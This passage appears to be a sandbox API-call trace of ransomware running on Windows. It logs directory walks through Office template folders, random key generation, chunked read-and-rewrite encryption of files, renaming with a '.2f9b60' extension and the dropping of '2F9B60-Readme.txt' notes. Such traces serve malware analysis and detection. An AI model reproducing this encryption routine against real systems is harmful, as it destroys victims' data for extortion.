| out: _Dest="cd") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="c6") returned 2 [0215.886] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="2d") returned 2 [0215.886] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="8f") returned 2 [0215.886] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="ef") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="a0") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="f9") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="8b") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="94") returned 2 [0215.886] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="d9") returned 2 [0215.886] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="11") returned 2 [0215.886] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="35") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="12") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="f0") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="50") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="93") returned 2 [0215.886] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="fd") returned 2 [0215.887] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="e6") returned 2 [0215.887] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="a4") returned 2 [0215.887] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="9d") returned 2 [0215.887] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="46") returned 2 [0215.887] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="47") returned 2 [0215.887] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="b4") returned 2 [0215.887] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="36") returned 2 [0215.887] sprintf (in: _Dest=0x1ce61598, _Format="%c%c" | out: _Dest="b4") returned 2 [0215.887] sprintf (in: _Dest=0x1ce6159a, _Format="%c%c" | out: _Dest="b9") returned 2 [0215.887] sprintf (in: _Dest=0x1ce6159c, _Format="%c%c" | out: _Dest="d3") returned 2 [0215.887] sprintf (in: _Dest=0x1ce6159e, _Format="%c%c" | out: _Dest="c6") returned 2 [0215.887] sprintf (in: _Dest=0x1ce615a0, _Format="%c%c" | out: _Dest="9d") returned 2 [0215.887] sprintf (in: _Dest=0x1ce615a2, _Format="%c%c" | out: _Dest="95") returned 2 [0215.887] RtlInitAnsiString (in: DestinationString=0x38dff608, SourceString="d6af50cdc62d8fefa0f9b68b94d9113512f05093fde6a49d4647b436b4b9d3c69d95" | out: DestinationString="d6af50cdc62d8fefa0f9b68b94d9113512f05093fde6a49d4647b436b4b9d3c69d95") [0215.887] RtlAnsiStringToUnicodeString (in: DestinationString=0x38dff5d8, SourceString="d6af50cdc62d8fefa0f9b68b94d9113512f05093fde6a49d4647b436b4b9d3c69d95", AllocateDestinationString=1 | out: DestinationString="d6af50cdc62d8fefa0f9b68b94d9113512f05093fde6a49d4647b436b4b9d3c69d95") returned 0x0 [0215.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318aae0 [0215.888] wcscat (in: _Dest=0x431568e0, _Source="d6af50cdc62d8fefa" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\d6af50cdc62d8fefa") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\d6af50cdc62d8fefa" [0215.888] wcscat (in: _Dest=0x431568e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\d6af50cdc62d8fefa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\d6af50cdc62d8fefa.2f9b60" [0215.888] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\d6af50cdc62d8fefa.2f9b60", NtPathName=0x38dff5b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\d6af50cdc62d8fefa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78e880 [0218.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e880) returned 1 [0218.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b10b0) returned 1 [0218.682] NtQueryInformationFile (in: FileHandle=0x25d0, IoStatusBlock=0x38dff618, FileInformation=0x38dff628, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38dff618, FileInformation=0x38dff628) returned 0x0 [0218.682] NtSetInformationFile (FileHandle=0x25d0, IoStatusBlock=0x38dff618, FileInformation=0x38dff628, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431568e0) returned 1 [0222.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318aae0) returned 1 [0222.184] FlushFileBuffers (hFile=0x25d0) returned 1 [0222.591] CloseHandle (hObject=0x25d0) returned 1 [0224.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205ea70 [0224.437] wcscpy (in: _Dest=0x4205ea70, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\" [0224.437] wcscat (in: _Dest=0x4205ea70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\2F9B60-Readme.txt" [0224.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\2f9b60-readme.txt")) returned 0xffffffff [0224.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3140 [0224.918] WriteFile (in: hFile=0x3140, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x38dff4d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x38dff4d0*=0xba9, lpOverlapped=0x0) returned 1 [0226.130] CloseHandle (hObject=0x3140) returned 1 [0226.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ea70) returned 1 [0226.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119580) returned 1 [0226.587] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 0 [0226.588] FindClose (in: hFindFile=0x1cd9c130 | out: hFindFile=0x1cd9c130) returned 1 [0226.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9acb0) returned 1 [0226.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad970) returned 1 [0226.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac210) returned 1 [0226.590] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0226.590] wcscmp (_String1="Stationery", _String2=".") returned 1 [0226.590] wcscmp (_String1="Stationery", _String2="..") returned 1 [0226.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20505eb0 [0226.591] wcscpy (in: _Dest=0x20505eb0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" [0226.591] wcscat (in: _Dest=0x20505eb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\" [0226.591] wcscat (in: _Dest=0x20505eb0, _Source="Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" [0226.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20505870 [0226.591] wcscpy (in: _Dest=0x20505870, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" [0226.591] wcscat (in: _Dest=0x20505870, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\" [0226.591] wcscat (in: _Dest=0x20505870, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*" [0226.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9acb0 [0226.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c130 [0226.592] wcscmp (_String1=".", _String2=".") returned 0 [0226.592] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.592] wcscmp (_String1="..", _String2=".") returned 1 [0226.592] wcscmp (_String1="..", _String2="..") returned 0 [0226.592] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1 [0226.592] wcscmp (_String1="ACADEMIC.ONE", _String2=".") returned 1 [0226.592] wcscmp (_String1="ACADEMIC.ONE", _String2="..") returned 1 [0226.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac210 [0226.593] wcscpy (in: _Dest=0x202ac210, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" [0226.593] wcscat (in: _Dest=0x202ac210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\" [0226.593] wcscat (in: _Dest=0x202ac210, _Source="ACADEMIC.ONE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" [0226.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one")) returned 0x20 [0226.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE", dwFileAttributes=0x20) returned 1 [0226.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2ec4 [0226.595] GetFileSizeEx (in: hFile=0x2ec4, lpFileSize=0x38dff5c0 | out: lpFileSize=0x38dff5c0*=253184) returned 1 [0226.595] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x3dcfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.595] ReadFile (in: hFile=0x2ec4, lpBuffer=0x38dff540, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38dff588, lpOverlapped=0x0 | out: lpBuffer=0x38dff540*, lpNumberOfBytesRead=0x38dff588*=0x4, lpOverlapped=0x0) returned 1 [0226.652] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1640 [0226.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb16d0 [0226.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1670 [0226.655] NtQuerySystemTime (in: CurrentTime=0x38dff480 | out: CurrentTime=0x38dff480*=132462178306534000) returned 0x0 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x289d3b61 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x41445176 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x4a1934ad [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xde5b7a9 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x40e64eb3 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x7ec1f362 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x243d6fc1 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x2e207f2f [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x4bf743cc [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x1c1b134c [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x52092937 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xfc37e54 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x1d117f16 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x2937e02f [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x7527e1d8 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x3530412e [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x2f6d42a6 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x3565c31e [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x148faeac [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x1bd86898 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x27779353 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x3843c3d3 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x78ef1868 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x7a72a580 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x466c7140 [0226.655] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xda60f6c [0226.656] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x28db696 [0226.656] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x194d658f [0226.656] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0xb7f5390 [0226.656] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x718c94b6 [0226.656] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x9af352e [0226.656] RtlRandomEx (in: Seed=0x38dff470 | out: Seed=0x38dff470) returned 0x2490231a [0226.657] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.657] ReadFile (in: hFile=0x2ec4, lpBuffer=0x4242e500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x4242e500*, lpNumberOfBytesRead=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0226.740] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0226.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0226.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0226.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7df0) returned 1 [0226.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42462de0 [0226.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0226.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a79a0 [0226.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a79a0) returned 1 [0226.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0226.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0226.745] WriteFile (in: hFile=0x2ec4, lpBuffer=0x42462de0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x42462de0*, lpNumberOfBytesWritten=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0235.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42462de0) returned 1 [0235.613] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.613] ReadFile (in: hFile=0x2ec4, lpBuffer=0x4242e500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x4242e500*, lpNumberOfBytesRead=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0236.367] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0236.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0236.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0236.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fd0) returned 1 [0236.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f84990 [0236.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0236.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0236.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0236.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0236.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0236.372] WriteFile (in: hFile=0x2ec4, lpBuffer=0x41f84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x41f84990*, lpNumberOfBytesWritten=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0241.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f84990) returned 1 [0241.080] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x3a100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.080] ReadFile (in: hFile=0x2ec4, lpBuffer=0x4242e500, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38dff4e0, lpOverlapped=0x0 | out: lpBuffer=0x4242e500*, lpNumberOfBytesRead=0x38dff4e0*=0x3c00, lpOverlapped=0x0) returned 1 [0241.081] SetFilePointerEx (in: hFile=0x2ec4, liDistanceToMove=0x3a100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0241.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0241.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7130 [0241.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7130) returned 1 [0241.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f84990 [0241.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7130 [0241.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0241.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0241.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0241.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0241.092] WriteFile (hFile=0x2ec4, lpBuffer=0x41f84990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38dff4e0, lpOverlapped=0x0) Thread: id = 2126 os_tid = 0x14a8 [0139.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx")) returned 0x20 [0139.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx", dwFileAttributes=0x20) returned 1 [0139.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cd8 [0139.250] GetFileSizeEx (in: hFile=0x1cd8, lpFileSize=0x391ef7c0 | out: lpFileSize=0x391ef7c0*=187218) returned 1 [0139.250] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x2db4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.250] ReadFile (in: hFile=0x1cd8, lpBuffer=0x391ef740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x391ef788, lpOverlapped=0x0 | out: lpBuffer=0x391ef740*, lpNumberOfBytesRead=0x391ef788*=0x4, lpOverlapped=0x0) returned 1 [0139.262] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0139.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0139.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0139.263] NtQuerySystemTime (in: CurrentTime=0x391ef680 | out: CurrentTime=0x391ef680*=132462177445102000) returned 0x0 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: Seed=0x391ef670) returned 0x7f8ebfe5 [0139.263] RtlRandomEx (in: Seed=0x391ef670 | out: 